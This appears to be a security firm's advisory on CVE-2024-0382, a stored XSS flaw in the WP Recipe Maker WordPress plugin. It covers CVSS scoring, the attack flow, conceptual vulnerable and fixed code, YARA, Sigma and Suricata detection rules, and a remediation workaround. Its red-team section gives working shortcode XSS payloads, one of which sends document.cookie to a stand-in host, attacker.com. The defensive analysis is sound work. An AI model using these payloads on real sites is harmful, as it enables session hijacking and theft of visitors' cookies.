CVE-2024-0382

Executive Summary

CVE-2024-0382 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker WordPress plugin, affecting all versions up to and including 9.1.0. The vulnerability resides in the plugin's shortcode implementation, specifically within the header_tag attribute, which is not properly sanitized. This allows authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts. When a user accesses a page containing the malicious shortcode, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.

The CVSS v3.1 score is 6.4 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. The attack vector is network-based, requires low complexity, and only low-level privileges (contributor). The scope is changed, meaning the vulnerability can impact resources beyond the vulnerable component. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at the time of analysis.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the WP Recipe Maker plugin. It is not related to NPM, PyPI, Go, or Ruby packages. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – The attacker needs contributor-level access or higher.
• User Interaction (UI): None (N) – No user action is required for the exploit to trigger.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure is possible.
• Integrity (I): Low (L) – Limited data modification is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.4, the requirement for authenticated access reduces the immediate risk. However, the potential for widespread impact on sites with multiple contributors is significant.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress shortcode. The WP Recipe Maker plugin uses shortcodes like [wprm-recipe] to display recipe content. The header_tag attribute within these shortcodes allows users to specify the HTML heading tag (e.g., h1, h2, div). The plugin fails to sanitize or validate the value of header_tag, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An authenticated user with contributor-level permissions creates or edits a post/page.
2. The user inserts a WP Recipe Maker shortcode with a malicious header_tag attribute, e.g., [wprm-recipe header_tag="img src=x onerror=alert(1)"].
3. The plugin stores the shortcode without sanitization.
4. When another user (including administrators) views the page, the browser parses the malicious header_tag value, executing the injected script.
5. The script can steal cookies, redirect users, or perform actions on behalf of the victim.

The vulnerability is present in all versions up to and including 9.1.0. No patch has been released as of the time of this analysis.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure coding practices.

Vulnerable Code (Conceptual):

// In shortcode handler
$header_tag = $atts['header_tag'];
echo "<$header_tag>Recipe Title</$header_tag>";

Patched Code (Expected):

// In shortcode handler
$allowed_tags = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'div', 'span');
$header_tag = in_array($atts['header_tag'], $allowed_tags) ? $atts['header_tag'] : 'h2';
echo "<$header_tag>Recipe Title</$header_tag>";

The patched version would whitelist allowed HTML tags and default to a safe value if an invalid tag is provided.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with WP Recipe Maker plugin version <= 9.1.0.
• An account with contributor-level permissions or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Switch to the Text/HTML editor.
4. Insert the following shortcode:

   [wprm-recipe header_tag="img src=x onerror=alert('XSS')"]
   

5. Publish or update the post.
6. When any user (including admin) views the post, the JavaScript alert('XSS') will execute.

Advanced Payload:

[wprm-recipe header_tag="img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team

Detection:

• Monitor for posts containing suspicious shortcode attributes, especially header_tag with non-standard values.
• Use a Web Application Firewall (WAF) to block requests containing header_tag with script-like content.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

• Search the WordPress database for posts containing [wprm-recipe and inspect the header_tag attribute.
• Use the following SQL query (if direct database access is available):

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%wprm-recipe%header_tag%';
  

Indicators of Compromise (IOCs)

• File Indicators:
  • Modified post/page content containing [wprm-recipe header_tag="..."] with suspicious values.
• Network Indicators:
  • Outbound connections to attacker-controlled domains from the WordPress server.
• Log Indicators:
  • WordPress audit logs showing creation/editing of posts by contributor-level users with unusual shortcode attributes.
• Behavioral Indicators:
  • Unexpected JavaScript execution on recipe pages.
  • Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2024_0382_WP_Recipe_Maker_XSS {
    meta:
        description = "Detects stored XSS payloads targeting WP Recipe Maker header_tag attribute"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0382"
    strings:
        $shortcode = /\[wprm-recipe[^\]]*header_tag\s*=\s*["'][^"']*["']/
        $xss_payload = /onerror\s*=|onload\s*=|onclick\s*=|javascript:/
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2024-0382 WP Recipe Maker Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via WP Recipe Maker shortcode header_tag attribute
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains|all:
            - 'wprm-recipe'
            - 'header_tag'
    condition: selection
falsepositives:
    - Legitimate use of header_tag with standard HTML tags
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0382 WP Recipe Maker Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"wprm-recipe"; http_client_body; content:"header_tag"; http_client_body; pcre:"/header_tag\s*=\s*[\x22\x27][^\x22\x27]*(onerror|onload|onclick|javascript)[^\x22\x27]*[\x22\x27]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Recipe Maker plugin until a patch is available.
2. Restrict contributor-level permissions to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block malicious shortcode attributes.

Long-term Fix:

• Monitor the plugin's official repository for a patched version (expected to be > 9.1.0).
• Apply the patch as soon as it is released.
• Consider using a security plugin like Wordfence to provide virtual patching.

Workaround:

• Add the following code to the theme's functions.php file to sanitize the header_tag attribute:

  add_filter( 'shortcode_atts_wprm-recipe', function( $out, $pairs, $atts ) {
      $allowed_tags = array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'div', 'span' );
      if ( isset( $out['header_tag'] ) && ! in_array( $out['header_tag'], $allowed_tags ) ) {
          $out['header_tag'] = 'h2';
      }
      return $out;
  }, 10, 3 );
  

Valters IT
Securing Digital Frontiers